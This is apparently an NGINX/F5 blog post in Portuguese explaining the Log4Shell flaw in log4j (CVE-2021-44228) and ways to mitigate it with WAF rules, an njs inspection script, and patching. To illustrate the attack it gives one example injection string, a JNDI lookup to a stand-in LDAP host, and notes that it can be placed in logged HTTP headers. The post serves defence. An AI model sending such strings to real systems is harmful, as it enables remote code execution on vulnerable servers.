Sexta-feira, 10 de dezembro de 2021, é uma data que será lembrada por muitos profissionais de TI em todo o mundo. Foi quando uma vulnerabilidade altamente crítica de dia zero foi descoberta na popular biblioteca de registro de logs para aplicações Java, a log4j. O exploit rapidamente recebeu o nome de “Log4Shell”, e empresas de todos os portes correram para implementar estratégias de mitigação. Em seguida, teve início uma maratona de aplicação de patches que, no momento em que este texto foi escrito, ainda estava em andamento.
A NGINX e a F5 analisaram a ameaça e, neste post, apresentamos várias opções de mitigação para manter seus aplicativos protegidos.
O que é o Log4Shell?
A versão 2.15 e as versões anteriores da biblioteca log4j são vulneráveis à vulnerabilidade de execução remota de código (RCE) descrita em CVE-2021-44228. (A versão 2.16 do log4j corrige a vulnerabilidade.) Log4Shell é o nome dado à exploração dessa vulnerabilidade. Mas em que consiste essa vulnerabilidade e por que ela é tão crítica? Conforme descrito na CVE, a biblioteca Java log4j da Apache não valida adequadamente os dados de entrada.
O recurso Java Naming and Directory Interface (JNDI) da biblioteca log4j e do ambiente de execução Java pode ser usado para realizar consultas remotas e recuperar dados de fontes externas — como um nome de usuário do LDAP ou um endereço IP do DNS — para inclusão em uma entrada de log. Infelizmente, invasores remotos podem sequestrar o JNDI para executar código Java criado por eles. O diagrama a seguir ilustra o ataque.
Para explorar um alvo vulnerável, os invasores precisam induzir o código da aplicação a gravar uma entrada de log que inclua uma string como ${jndi:ldap://evil.xa/x}. A questão interessante é: onde inserir a string para que ela apareça em uma mensagem de log? Para muitas aplicações, o registro de logs é essencial, e diversas informações sobre cada solicitação recebida são registradas, incluindo cabeçalhos HTTP como User-Agent e X-Forwarded-For, o URI e o corpo da solicitação. Há muitos vetores de ataque e, desde que a string seja registrada pelo log4j, a aplicação pode ser explorada.
O NGINX é afetado por essa vulnerabilidade?
Não. O NGINX em si não é vulnerável a essa exploração, pois foi escrito em C e não usa Java nem bibliotecas baseadas em Java. Para consultar a resposta oficial à CVE-2021-44228 referente a todos os produtos F5 e NGINX, consulte o artigo K19026212 na Base de Conhecimento AskF5.
Como o NGINX ajuda a mitigar a exploração da vulnerabilidade?
Como mencionado acima, um invasor precisa enviar a string de exploração ao aplicativo de destino em algum ponto da solicitação HTTP. O NGINX oferece várias ferramentas para verificar solicitações recebidas em busca de indicadores de comprometimento (IOCs) e bloqueá-las.
A maneira mais eficiente de bloquear solicitações maliciosas é usar um firewall de aplicações web (WAF). Ele verifica todas as solicitações recebidas em busca de indícios da CVE-2021-44228, comparando os dados da solicitação com um conjunto de regras pré-compiladas. No entanto, atualizar as regras do WAF após uma exploração de dia zero é como uma corrida armamentista. Assim que as regras do WAF para uma determinada exploração ficam disponíveis, os invasores procuram técnicas e padrões capazes de contorná-lo. Mantenha sempre as regras do WAF atualizadas.
WAF NGINX ModSecurity
ModSecurity é um WAF de código aberto e também está disponível como uma oferta comercial da NGINX: o módulo NGINX ModSecurity WAF para o NGINX Plus. O OWASP ModSecurity Core Rule Set (CRS) inclui uma regra existente (932130) que pode mitigar o Log4Shell. Para saber mais sobre essa solução e sobre proteções mais avançadas, consulte o blog do CRS.
[Editor – O NGINX ModSecurity WAF deixou oficialmente de ser comercializado em 1º de abril de 2022 e está em processo de transição para o fim da vida útil, que entrará em vigor em 31 de março de 2024. Para mais detalhes, consulte O F5 NGINX ModSecurity WAF está em transição para o fim da vida útil<.htmla> em nosso blog.]
NGINX App Protect WAF
NGINX App Protect WAF é uma solução moderna de segurança de aplicativos. Com base na investigação contínua da ameaça e das formas conhecidas de contornar o WAF, atualizamos o conjunto de assinaturas de injeção de código no lado do servidor com novas regras para detectar ataques Log4Shell com eficácia. Para obter mais detalhes, consulte a Base de conhecimento AskF5.
Módulo JavaScript do NGINX
O NGINX e o NGINX Plus são amplamente utilizados como proxy reverso na frente de muitas aplicações baseadas em Java. Para usuários e clientes sem acesso a um WAF, criamos um script que utiliza o Módulo JavaScript do NGINX (njs). O script verifica cabeçalhos HTTP, URIs e corpos de solicitações recebidas, usando strings de IOC conhecidas e expressões regulares para identificar dados de entrada e bloquear solicitações maliciosas.
O script njs está disponível no GitHub. Para obter instruções sobre como instalar o módulo njs, consulte o Guia de Administração do NGINX Plus.
Resumo
A solução mais eficaz para o Log4Shell é corrigir o código da aplicação com o log4j versão 2.16 ou posterior, que desabilita o JDNI. Se isso não for possível de imediato, um WAF poderá mitigar a ameaça de forma eficaz até que você tenha tempo de aplicar a correção. Se você ainda não tiver um WAF, poderá usar nosso script njs para implementar uma proteção específica contra a ameaça. Consulte os recursos abaixo para saber mais e selecionar a proteção mais adequada para suas aplicações.
Recursos
- CVE-2021-44228 – A CVE oficial
- Exploração de vulnerabilidade de dia zero tem como alvo a popular biblioteca Java Log4j – Uma visão geral valiosa da vulnerabilidade
- K19026212: vulnerabilidade de execução remota de código no Apache Log4j2 CVE-2021-44228 – Resposta oficial da F5
- CRS e Log4j / Log4Shell / CVE-2021-44228 – blog do ModSecurity Core Rule Set
- Inspeção de requisições do NGINX njs para a CVE-2021-44228 – Solução de mitigação em JavaScript do NGINX
Sobre o autor
Publicações relacionadas no blog
Como o F5 NGINX One aprimora o gerenciamento e a observabilidade
Descubra como o F5 NGINX One aprimora o gerenciamento e a observabilidade de ambientes híbridos e multicloud ao oferecer um console web centralizado baseado em SaaS, com insights em tempo real, conformidade automatizada e gerenciamento simplificado de configurações.
Do OpenAPI ao NGINX como gateway de API usando uma API declarativa
Descubra como transformar uma definição de esquema OpenAPI em uma configuração NGINX totalmente funcional, operando como um API Gateway com a segurança de um Web Application Firewall e um Portal do Desenvolvedor, usando uma abordagem declarativa de API.
Como gerenciar picos repentinos de tráfego e sobrecarga do servidor
Picos de tráfego e sobrecarga de servidores são preocupações sérias para varejistas online em qualquer época, mas especialmente durante a “Cyber Season” de compras de fim de ano. Detalhamos como você pode aproveitar as soluções de entrega de aplicações de nível de produção da NGINX para se preparar para aumentos repentinos de tráfego.
Distribuição segura de chaves privadas SSL com o NGINX
Descrevemos três maneiras progressivamente mais seguras de proteger chaves privadas SSL ao configurar o NGINX para processar tráfego HTTPS: permitir acesso de leitura apenas ao usuário root, criptografar as chaves com senhas armazenadas separadamente e distribuir as senhas a partir de um repositório central.
Agrupando solicitações de API em lotes com NGINX Plus e o módulo JavaScript do NGINX
O módulo JavaScript do NGINX lançado com o NGINX Plus R15 oferece suporte a subsolicitações, possibilitando uma classe totalmente nova de casos de uso para o NGINX Plus. Este exemplo completo também usa a API do NGINX Plus e os módulos de chave-valor para converter solicitações de API dos clientes em solicitações separadas para as APIs dos microsserviços que compõem um aplicativo.
Como superar o esgotamento de portas efêmeras no NGINX e no NGINX Plus
Confira dicas para evitar o esgotamento de portas efêmeras com ajustes no kernel do Linux, conexões keepalive e conexões vinculadas dinamicamente a endereços IP locais.